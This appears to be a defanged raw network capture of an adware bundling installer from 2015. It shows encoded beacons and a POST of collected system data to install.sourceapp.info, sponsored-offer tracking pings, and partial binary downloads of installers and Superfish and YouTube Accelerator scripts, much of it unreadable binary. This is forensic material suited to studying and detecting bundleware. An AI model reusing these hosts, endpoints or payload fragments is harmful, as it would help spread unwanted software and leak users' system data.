0 LGpiXEQwUB47EWhLfll3Bhpzaj82Xh9ATAEwRwcZPgIOFUZODEolBxdsMzQnZlRfTx86
fAEAXFtHA0lMOhsaFDAiOHVJQGcPchcVbhsrRG0MAgMUDSdAHkxPFwhNJQA5FUlBXG0FVH
pMHm0dCxdGXEVVHT5TBTljZwxLSl4 CQ1TMGdpZ19DYA4eTB5qVWJPNEILV1cLKxJB

<<< skipped >>>

GET /fp?alpha=DStEDx4qVyM6CAl+ayURDG8XAh4Nd1J+XyoqBRBCCj9JD1gPWkN7dg1hLAxJTDVIUmYQWVh4KAwlF1p7FXw5e2ERIQQVbClyVBwIKH8/AgFOKkdDQBozE3sbc0VETQsIfwUbGl1RTXByCmxYFExXOElbYQxVKglBEC0VUR5aPWYCDh5uV1FNQXJUGk8lOzphDB43UlkTC38ZYxt6VUAYH1pzCBofSFZEaXYGeQoLXwI6UQg2HQkoGw5MIHULV10gYUd4B3xVS0YDKw1dEiRoIh14OyEQHBYWLBFyH3tDRk8UWjlEFHwBCRAmN0x5LFwZBGMVDyBjESkEXxUqF2keTTthW2USKQ4THChyVBc6eSxDfBo6MkNDMxItFW4fe0NPPwB4fWptb1oTbnYdAWdV HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Wed, 07 Jan 2015 09:33:40 GMT

Content-Length: 0

....

GET /ii?alpha=DStEDx4eGiQOU000ayURDG8XAh4Nd0gnEzgYUB5bX3cOSFsYWicmNU06DXgPESsYHDdPJH4AXhEsEE0ICWA4CHZjIQQQGlphC0lGMHpdIkEPNgcPVFh5HHQcfUdOOQcNZxAQE1xKQAsFe3RQC0YiIENbFgQvIg9aZVgQVR5VODUMfiUkBBMZWWlSC1VxLCxhFE00QFhUT3tHAVwkSB8YSksmR1tOTgMRLwJNNj4ETlEjQURrD10qE10XKBdSHl8rZ3M3MCRjcA4DNBZDCyQmVThCG2gFHV4LKBVuTCIBUBJBTS9aFGYBBAYmM1A/HBkoCGMVBSVOTS0dPFNyQwZLSydnUTk/OXgDCBoiEEkSLnUiawxJKUNARR0uEGNdLgcAFFFealhISANHTmlxEWlOVgwNbB8Nb3gDfVEFUnUFS21WJ3xaPHNKQkJcCTRLHBU3JjZ3Qk13TxdUSmgceh5nREZPFFYrFRkbUlJEc3UJY1oIRVE8S11mGwluADpsakQRXRRuXnIvMmtTA34FNRZPGi07UXF/PFQ7TjZCbUpjai4DHx5XHS9GShZZQQ50cTlnbFY6Dm8= HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Wed, 07 Jan 2015 09:33:41 GMT

Content-Length: 84

a11C NFhBwD8pHQ f4SQbRAA7M5vUgX1o2JRJKjRf0lcssY0fwfS43UNA6vDdBoQ L9hdW
mmzzrT95fzOMObHTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Prag
ma: no-cache..Content-Type: text/plain; charset=utf-8..Expires: -1..Se
rver: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..SVR: SP003C2..X-
Powered-By: ASP.NET..p3p: CP="CAO PSA OUR"..Date: Wed, 07 Jan 2015 09:
33:41 GMT..Content-Length: 84..a11C NFhBwD8pHQ f4SQbRAA7M5vUgX1o2JRJKj
Rf0lcssY0fwfS43UNA6vDdBoQ L9hdWmmzzrT95fzOMOb....

POST /if?alpha=DStEDx5SDz0uX04gayURDG8XAh4Nd0gnEzgYUB5bX3cOSFsYWicmNU06DXgPESsYHDdPJH4AXhEsEE0ICWA4CHZjIQQQGlphC0lGMHpdIkEPNgcPVFh5HHQcfUdOOQcNZxAQE1xKQAsFe3RQC0YiIENbFgQvIg9aZVgQVR5dLTVsMDZ1WmpGBTMpUxctSHU4WBxvVAMEFi0HNRN5RUdIHAt7BhkcRldMe3MNb05dGgdPAwVvVAhiTQBOb0BFXF0oSk03BSQHEwZcaVsIS3E1M2cZTTZUCRdEUk4gEx4mUBJBTzNYTBY/DhotL0gqRBlJVSATAyYbAmlLCVMgaApbSiF7UD4nOWFKRggoFUlbdjtSI0MZYgEdG0RwQC8OBVVWC1dJOUFGRUhdVH9uDndfD09QLQIPIEsEeVhMUXxGCBgCbjkRaHV2RU9JAiBffxUmd2siRF8vJwAbX3tFY30/FAIYQRJsRl8WXEEaezACIE5YCVw0QUZjDV88UA0cLRVZDQh0PQliYSgMExlWcFYcHzUmVBxbHnUXQlJ9U1YiXC5VIBRATz9JRQs7RycKE3Z5LFAMCi01DyRUDn8rHGEYCTRr HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Filename: ilg

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Content-Length: 31063

Connection: Keep-Alive

Cache-Control: no-cache

alpha=ADkjEnMXYRteby9nLD8FF3dgFD8bLCA/LzUCaApeKG9cHw==|,|ADkjEnNXR0ISX3ANLAISJlFcIT8bLAVkHxMUdBIsajkrWRokBWMQTEYqU2h9D356K2tVEg18UkN6MB0wdCwfUnZoYAcRNw==|,|ADkjEnMmflg8Sg9oMQkMIjUoU1wcUBMtJjQUTQE7WwQORDYhFGc1cX4kbEV MEtzGk9dBGlIEkx0|,|ADkjEnMYeisZM3U6IjkoFkpWOlsGMWZoCgBrKTsf|,|ADkjEnNoNFYJQxwILCIyBnR5Hz91aTUtKikJMScqXzxvCWZSRyVmFXZ OQkqVSciWgtyOjkNOR42AVNnBBhWYA1sPRV7cFcRQzZrVi9y|,|ADkjEnNFTk5Fa3BkLD8SG3lwHWsGajQxLmYEfg0yVzYrFCoMG3Z0EBJ6bSB7JA1aAw==|,|ADkjEnMOLyMNdlxPLCIyBnR5H0xJeTQ9JmYBYw8yFjsgWSsEG3d0QVslagQvTGx7Bw5FHl00FkgSTHQ=|,|ADkjEnNdDgo2Hg5KLCIyBnR5H0xJeTQ9JmZaMRMyRmk6VQhVaHAgaA4=|,|ADkjEnMqNX0OUxNQNicoAlNTU3lUYyt ICkKfAExUngjXSgAVS50bSB7JCBoSA==|,|ADkjEnMqNX0OUhZQNicoAlJWU3lUYyt ICkKfAE
HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Wed, 07 Jan 2015 09:33:41 GMT

Content-Length: 41
{"status":"OK","url":null,"message":null}..

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=sourceapp_network&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=2&index_in_screen=1&index_in_session=2&0.33988864944236435 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/7zipqjkz/554f0c32df4546428c4cd4ba3636f283?v=2.1&uid=554f0c32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1098259893.1420623114.1420623114.1420623114.1; __utmb=1.1.10.1420623114; __utmc=1; __utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:32:38 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 07 Jan 2015 09:32:38 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /googleanalytics.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=rrzcful4pe3stqcytb0mhvcr


HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Encoding: gzip

Last-Modified: Tue, 10 Jun 2014 08:53:03 GMT

Accept-Ranges: bytes

ETag: "804165638984cf1:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:34:39 GMT

Content-Length: 488
.............`.I.%&/m.{.J.J..t...`.$..@.........iG#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"........4.......~Q......I...C|.
?..u3..........i.^......:...yp...................E~Y.W..m....i[T..b...
....e..._\|.........Yy......O......V.......................9.E?.3....A
!./..|.6w~...,?...2.J.fm.u.0...O...8-s4.....qA_\..~.<.~.]...9}.....
f...^N?....z....b..jj.....b..u.$?..|...._rg..X......2V...i]......{uu5.
..ogf..i.......Z^d.../......\.....]O.l:.......4~7M.n./gh.2............
.HTTP/1.1 200 OK..Content-Type: application/x-javascript..Content-Enco
ding: gzip..Last-Modified: Tue, 10 Jun 2014 08:53:03 GMT..Accept-Range
s: bytes..ETag: "804165638984cf1:0"..Vary: Accept-Encoding..Server: Mi
crosoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:34:3
9 GMT..Content-Length: 488...............`.I.%&/m.{.J.J..t...`.$..@...
......iG#).*..eVe]f.@......{....{....;.N'...?\fd.l..J...!....?~|.?"...
.....4.......~Q......I...C|.?..u3..........i.^......:...yp............
.......E~Y.W..m....i[T..b.......e..._\|.........Yy......O......V......
.................9.E?.3....A!./..|.6w~...,?...2.J.fm.u.0...O...8-s4...
..qA_\..~.<.~.]...9}.....f...^N?....z....b..jj.....b..u.$?..|...._r
g..X......2V...i]......{uu5...ogf..i.......Z^d.../......\.....]O.l:...
....4~7M.n./gh.2...............<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 07 Jan 2015 09:32:15 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 0-1110475/1110476

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@..@.data........
........r..............@....ndata.......@...........................rs
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>B..H.P.u..u..u...Hr@..B...SV.5.>B..E.WP.u...Lr@..e...E..E.
P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......P
p@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h.6B.W..Xr@..u.W...u....E.P.u..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..

<<< skipped >>>

GET /ajax/libs/jquery/1.7.1/jquery.min.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: ajax.googleapis.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/javascript; charset=UTF-8

Last-Modified: Mon, 02 Apr 2012 18:24:28 GMT

Date: Thu, 18 Dec 2014 15:01:09 GMT

Expires: Fri, 18 Dec 2015 15:01:09 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 33186

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=31536000

Age: 1708417

Alternate-Protocol: 80:quic,p=0.02
.............~.F....?......!J......7.......Y...h....w.T*.".Y.Y...|.D..
 (g..;.....b=q.8......?.....w.....>.......g{s.....2...........e. WK
?VI.h....~.<n...fy6.....e.z...8.{.U......(.. .e.8....V...}.[..|../.
......j-.~'...Q.....%Q.KV...Ec....q.{...x........*..^...^Vn........&_.
..~.....o.Z..~..^....{?.S..&.w.W.|A...r......t.../V.,.Dt.Pf...&yYLv.U.
.....r.Q}.^']...*W.:H.........~_=.r..s.^..T..=l.]..)Vj.......^.ys...x.
..C_.h..&............`.^b<.^:_m1'Y....c.....e..1Oo....q...q.x......
o...........?..q:..;.>.whu.....=.... . P..i...I..E.!..f.&v(.......m
...r...w~.SW.......6p>...........,.........Lsj...L7..j.......y..'.F
..h44..SY.V.......i.mw...4Yi.H{'.._..].9?...}..Jn................5Q%m.
y.,v.5U.(.^..\-.R...?^m."...7e..vy...b...L..%....]..f...l5>...nw.rY
x..|8..V.......0F..|4....<.q....d.(~...h....p.......q1.......y..ZF.
p1..;.^..W.Y...(.....<x.F...iI.t..n..p.-......w.p:..I.\.:x\...H..T.
j...../i..h....3....Y..w.......5...:..n.....U...]B..`.ZQ..nE}.....L..`
..A..W....C.\'......e^./.j\[...6.v."..u...-..K.3Tb....24>,..hD.R..&
lt;.F..q5C..vR.iO)Z.(..&T..v.Z#.. .._ts..1.H..=....H1...6..@....9..v..
.=Q...RZ ..SIt.}.....J.me.....Yq`..5......5.....28L..~.-L.=...b)M'..Gd
.....1..,.:H...f.....h..T. Q...~.|%#%....y....7....L......"QU.y0H...&l
t;.s....n....I'Z............A........K...k..2...P._..1Z...B..4~.&..h.o
{.y..q.......Z..R...l......&.....>....P.......&.;W.3...L......@$...
,....Q..U1..hC1.$ .;ByWj.M..... B=1....s_....:HP...&.7.&..>7.(=....
.P.b8...Q..Nw,...E........t;.4..`..._ F.P.......t....hm..w...Q....<<< skipped >>>

GET /dealdo/install-report?type=install&instgrp=20141204__1086__lnk_aromani_70&ver=1086&partner=somopf&channel=somopf&installId=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=abddccbb-b7f2-4fa1-9571-e21f54ce647e&cb=758164&slug=pricefountain&winVer=362e31&cmd=2f6d757365202f706172746e65723d736f6d6f7066&adminproc=1&defaultBrowser=1&ieVer=31302e302e393230302e3136353231&firefoxv=32392e302e312028656e2d555329&chromev=33352e302e313931362e313533&operav=&&previousver=x&firstinstall=1 HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

User-Agent: WinHTTP/1.0

Host: ins.pricejs.net


HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/plain

Date: Wed, 07 Jan 2015 09:33:43 GMT

Last-Modified: Sun, 26 Aug 2012 12:59:41 GMT

Server: nginx/1.2.1

Content-Length: 1

Connection: keep-alive

.HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Type: text/plain..Date
: Wed, 07 Jan 2015 09:33:43 GMT..Last-Modified: Sun, 26 Aug 2012 12:59
:41 GMT..Server: nginx/1.2.1..Content-Length: 1..Connection: keep-aliv
e.....

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 250000-499999/7592848

Age: 19523

X-Cache: Hit from cloudfront

Via: 1.1 1191d5253eb958287113db8884fac7fe.cloudfront.net (CloudFront)

X-Amz-Cf-Id: bKjgElOwcTjWFbLfTtMF18I738JRQeerB29__kitRdQG6dTxcf7AGA==
.L.[(Y...p..Iju.p.<..)..V....Dm...x%...H2..\1|.NZ1.h.r.%.m"I.......
.@...r.MI8..h/......w.h....../i..P.......:..L.H|..&.s....E.M[..H....V.
,..y...e.H...YW.@g...I7{.......z.g...=..i.G.........-f.x....9..]Oh.S..
M....K....Y.k$..ta.._k...6>|h.\..pH.l.../_Gba.>t. ....@..6P-g.E.
..T...t{Rz\z.}.. E2.B......xF..`......@2.A6....tu.F...1p.tc....3......
dQ.&jM.....IAX3.7.O..\....IH.R~......#.S..j]g.....%...&...5E...PF..3.;
......\M. c>'/.......Km..sRBX.....H...)@...F..ao.;h......3.FE......
.RX...U.C..k.E1...|f.*.u[.Q5... ..WpDRw.I.$D.......0...ti.....P.;...X]
.g..2.z..[1...R.H..0c...{.....Ey)..@.m.~n#.}?.....[W".<.F......{5..
...fU"/P..!...P<B....w.I.#..DS4:X"%.... ....|..@l.b...B.yW.....,...
M.o)...Eg.......n6..i.JJsYl.$..?.`....o.."........mA\.gX.....e~.....|.
.......M..G...?....?..._?.D..z...7A...&.....O....d.[.......[..........
.q.@p(J..m....t.P .JS.q...$~Y..U.&:...N a..X..L...tL...;.:.On......: Q
 ,{.=..A..d;...a.....*-6.`1...:|7..Y...../...(..). ^R.u..K...1P.n..k=c
CF......r..(M.Rr.E....J..!^...e.y...P.E../.w.N.T....].[.[....&..i..5.m
d..h.x...L.......Q..:.b..E._.V.$f...5..df.W.....'..{....~..' ZY4..2...
......."......f.?.@..@....-$.4..L(.....YVZ.&..P....A.V..>.p..Sb.h.H
]B.....\h..t..8...u.o....Y.q..Y.......kK.U(.f.J5.3 .......; 4n......0.
k.......\.X.q............d.N..k.mgN$..F|\Dy.w..q."...m....^h.....L4...
..IH..vwW%;.c..2v`.....x..9.G.YjQ.W....C....AQR'...:......3.u.. ..D.n.
.a..S.Jmh.qFZ...).G%.m....c?...\..'t......b..z..._0.;z...$Z\s..Q......
4Ue_q.......D.YDN.i{..V.X...;H..K....Z.~....F....G.F=.zg..O..'..r.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 750000-999999/7592848

Age: 19524

X-Cache: Hit from cloudfront

Via: 1.1 1191d5253eb958287113db8884fac7fe.cloudfront.net (CloudFront)

X-Amz-Cf-Id: m0rpr9re7XzLwRG-bqzvvpmUuwAKqa9K2PMSp5N0OYnyKVYKIn04_A==
..h......3.L......Y2..v...i(......_..-..3......!...C..(...2......Q....
..A.l...x.Gd.a...F...w...q....D.E.....vw.H....o....C...c`.A...!......f
...J...U.....Cs... ...v....j......n........L.....FQi..7j..#...Q....W..
-..m..<e*.<.%n.\..[....Y.k.......kyV#......;......o....M.....i.f
..BZU,..L.5_VGn~V.:.$.C..[......f.O...h.........w]..E.T..r.~..~...f..8
..?TO..4.[....;-).WH....M.....D4.......d..Dein.g.<.A#I........7....
v1....l@n.1.......Ae.x0Fl......Q.@....D.p"q.\.. 6u.j.....!x.B3...8>
......"F..;.8%.9.......x[......d<....o.........".P...)............H
..|.....l.K2a....d....<zi@e;=...%AG..Qxg8..zL...o..........h....px$
..;Y........}XL.K.p.70...C...B. ..ep..."......A......=NQ7.1>m.V..|M
f.`<..?.......F........3..t.:.......A..F..).....H........=.... :].'
..0..z....CY......,.e..Nq...Xojn]3.../.....}q....a......x...0._. ....?
N,...x.*.di..>>Jy.u;..rU{X...wY.sn.-.x.....*H.{FP......'...w....
..g(.._.).......F...._......i.O.o....,..&lP..Nb...0:F.N.....x.....p...
.......=p4.I....8.....W0.Z.....}.......7\.bJ.t|....Zh....y;..W...G,...
.......C...t=oa....N..9.....)....._..~..........-4.e......O.......v(K.
.w..B....ucN9.P...Q.....\..`...P*.q...S...d.{7..12...0k...G.....'4...L
W.Xn_..l;*..v...$y......):.nf..i...F..g..u6.].M.n.............-N.*Fl2.
.[..n$..,{..:9_.'..Z...........=J.(..1.-....W^...].S......O3..........
..j.X..'|_..k... t}..d.V...Tl...v.G..7.@.'C.zt.qp...1b......gGW...X$..
......&>..r]..8..........2hR!.79x.....b..].....o.p..L....NA....g.l.
{..yM&.}...(1...V...}....I............F1....!T&.&c.-..4E-.#._.f.@.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=4750000-4999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 4750000-4999999/7592848

Age: 19525

X-Cache: Hit from cloudfront

Via: 1.1 1191d5253eb958287113db8884fac7fe.cloudfront.net (CloudFront)

X-Amz-Cf-Id: kiQngvNhWzKJGSM0bFhoy6gyLyaWOWugqdja33Lyp1KkUPqWHgvddA==
.yA.A....my.. ...._.....s..i...... 3.u..;.tE~.`h.c..Y.4....<c..U.l.
.d !..$~..G.i..T...?........%..w.e...82^.o.....#...c.......0./>....
.ol.V4wx....W.w.a.mT.......g<Y.:.... .8.(..2C......@%..(Q.)\...^.H.
..@..|N..j<..U}..r...1*0.h.hE$......s...K..k"......O`..m"\k..~YqYN.
.S....T..).2.)...t.c<....#.ooY...E.../!s6B.f.U.u..%..c.....B%..Q...
.....N...?N..X..[0.nX.e._.a...k8c...*.S....,....f|:......c.#..G9...Z.|
N.;EBt..........rs.A.2~TY.._=v-.>.....T.....>.7I..=$....N...n...
.Y.JZ.G....Ig...2(..1<)_B.i...4.......dX.[..O.RTgN~p.Ew...../\Y=m|=
...P.98.{1.h......X.k1...v....f....q..4..|...y.*......1....a...k.c=..m
'>s">..r.o...@.-........Bu..R..Z.<<(..!.Z.....BD........2.
30.....r..X.......<@.................$.......y1 #..U..A..6R....rO..
.W....[...Kx...."....9..].5.T.A..[r.R<.....(...z-.>.)...l.....8.
X..{6....SL.6.......|.l.t....".?..[.l.J.qdP.9.A..3...pe.S#qA{....8p...
.hb.S..p[mo...S.....d.....?jO!ij..q.QJD...cP...m...^...d..#....:h..!..
"..X.J..n.......y.`......'RB.:7.......B.C.....Y.YQ...%.."s |....#5..q~
%#4w.Dg..t.A....q..........T..y..8#;E.c<...-6..k....E..9..|5......X
..v:8.!.5$..1.ps.)uj..;.o...H10....ME..W.E.h.._.vZ..)...?..sf........{
3.fs}.W........<...v.;Q.8.=ju/D.}.r@.? ..5......bp@.].....t5jSY...[
..G...[.....ur..**&>"..&....W......9....Y.....vg.m.hm/...U.....o0..
.9L.V.......J...K....r~.u..O......\x...[.p6...~.....R.^.vg.m?...@..l..
..7.p..'.*5.j.3.....x.k...%....p.zl................H:........4...P..i"
..!.....V*.["......S.........]....X ......J_.......A....4.....F...<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=pricefountain&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=3&index_in_screen=1&index_in_session=3&display_height=137&0.3536755147517152 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/7zipqjkz/554f0c32df4546428c4cd4ba3636f283?v=2.1&uid=554f0c32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1098259893.1420623114.1420623114.1420623114.1; __utmb=1.1.10.1420623114; __utmc=1; __utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:32:38 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 07 Jan 2015 09:32:38 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /ws/js/base_single_icon.js?ver=2015.1.5.0.55 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:34:45 GMT

Content-Type: application/x-javascript

Last-Modified: Sat, 03 Jan 2015 08:52:14 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Sat, 31 Jan 2015 09:34:45 GMT

Cache-Control: max-age=2073600

Cache-Control: public

Access-Control-Allow-Origin: *

Content-Encoding: gzip
79e0..............{{.G...7.).MN$...!.L...$9.lH..Lf.a..... K.Z.0..~.w.U
.U...I./..........Z.j.....g.U5..6...O...bp.;{5\,........U.............
75.~Z.(...M62?.Vx_\.{....=..r.vv..t^....g'.b^....,Vs.).o.=y.?^V.U.....
..l4-..G..t.r.U.ymu.._....x...]...A.k.....hU`x..;......h~>...l.*..M
o.kv..O......=X......r...Z=..........Y9[.[.........!..z........$..F...
}z(ci.........e.:_..ku8Z,.....jV.F.1......u.].:...Z\`...-..p<..G..U
f.......k...o.`Sk^...e"Q).........HIVB..o..t`.|...c.....~...*......!..
.. Y..@..,76..Wn..rv.:..E....gs.* .........{~.....D.u..}......LJ.TWg.t
..f...W..yy...VeqW7..t>~].6D.(.....{....V...............W././7.o.x9
.~.?./v^..x.sR.m...e.t9..u=G.x!..O.....vq.s...................../V....
..~.s.....V....4]._.3..`../.........w........_=.R.?.iG...zS*...4D.}u&l
t;.d..5H...Is....|./v..{/............j^.........W...=.(......T..b..H..
......U.....Jk..7........5h.............=o....S. q6Z.O.....w.......-l.
..[....V....u..._ ...$....r%t{6: .=..7Y.&k.v}..Q......2Wm..v}.$.Q...B%
.'........v....`uW..........f.?.w.^.......O?...R........7...]....L.j._
.5h...`../0t....=.n...D..o.....q.8.O.!....[..3..{...7.........!8=.....
.6..t..%(.j..6.....d....It..ZX.7.}..@.s....;/v..;.}k....Ov.l.i5{]N..v.
....6.k.s.......u; .U........~@.....d.W..c........._.......:.^<....
